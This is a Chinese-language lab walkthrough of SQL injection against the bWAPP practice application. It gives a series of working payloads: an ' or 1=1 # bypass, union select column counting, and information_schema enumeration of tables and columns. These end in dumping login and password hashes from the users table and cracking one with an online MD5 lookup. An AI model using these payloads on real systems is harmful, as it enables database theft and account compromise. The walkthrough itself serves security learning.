选择练习环境
页面如下:
SQL 注入
简单尝试输入
搜索框简单输入些电影名例如iron man等,可以发现这是一个模糊查询。
假设表名是movie,搜索的字段名是tittle(仅仅是猜测,并未代表真实的就是这样,在后续中我们可以得到真实表名和字段名),可以猜测sql语句如下:
select * from movie(假设的表名) where title(假设字段名) like ‘%s%’
也就是说我们在输入框中输入的字符串会替代 s
当输入iron man时,执行以下sql语句:
select * from movie(假设的表名) where title(假设的字段名) like ‘%iron man%’
寻找注入点(搜索框输入 ' )
当出现以下结果时,百分之九十九点九的可能存在SQL注入漏洞
原因是什么?
因为前端在得到字符串后传给后端,后端并没有做任何处理,仅仅是简单的sql语句拼接,导致出现如下sql语句:
select * from movie(假设的表名) where title(假设字段名) like ‘%'%’
很明显,这个sql语句有问题('是奇数个),因此出现了语法错误。
SQL简单注入(’ or 1 = 1 #)
既然我们知道了是sql语句拼接,那我们来做坏事情(很刑哦)
为什么输入这个语句?
将’ or 1 = 1 #放入我们之前猜测的sql语句中:#字符是注释字符,意思是将后面的sql语句注释掉。
select * from movie(假设的表名) where title(假设字段名) like ‘%’ or 1 = 1 # %’
因此,通过该sql可以查询该movie表中所有的内容。
多语句SQL注入
有小聪明就想问既然是简单拼接,那么我直接搞个分号,再加一条自己编写的sql语句变成如下:
select * from movie(假设的表名) where title(假设字段名) like ‘%’; \n(此处代表换行)
select * from user(假设的表名) #
这样我们不就可以获得了用户表的所有信息了?
这样是不行的。一般数据库设置中默认禁止了多条语句查询
SQL进阶注入(union select 1,2,3,...)
union select可以理解为一条sql语句充当了多条sql语句的作用。
我们输入**' union select 1 #**,拼接成如下如下sql语句:
select * from movie(假设的表名) where title(假设字段名) like ‘%' union select 1 #
出现报错,这教我们的人是不是不太聪明?
翻译一下错误报告:列名的数量不对,那我们多加几个数字上去。
多次尝试,直到输入**’ union select 1,2,3 ,4,5,6,7 #**时:
从结果来推测movie这张表的字段名可能是
1-id(大概率) 2-title 3-release 4-genre 5-character 6-未知 7-未知
简单SQL函数注入(database(), user())
将数字变成**' union select 1,database(),3 ,4,user(),6,7 #**
可以得到该数据库名称bWAPP
复杂SQL函数注入
得到所有的表名
select table_name from information_schema.tables where table_schema=database()
因此输入
' union select 1,database(),3,4,table_name,6,7 from information_schema.tables where table_schema=database() #
得到了所有的表名
blog heroes movies users visitors
得到所有的字段名
身为一个黑客,我们肯定要破解的是用户表中的信息,并且在上次操作中我们得到用户表的表名是users
**select column_name from information_schema.columns where table_name ='users' **
因此输入
' union select 1,database(),3,4,column_name,6,7 from information_schema.columns where table_name='users' and table_schema=database() #
综合信息解决问题
最后该怎么得到login和password的值呢?
整理信息,发现我们得到了以下信息:
数据库名: bWAPP
数据表名: blog heroes movies users visitors
users字段: id login password email ...
select login, password from users 你不会想不到吧
' union select 1,login,3,4,password,6,7 from users #
最后得到的就是账号名为A.I.M. 和密码是看不懂的一通数字。
通过使用md5撞库在线网站cmd5.com/输入其对应的值,可以得…
账号: A.I.M.
密码: bug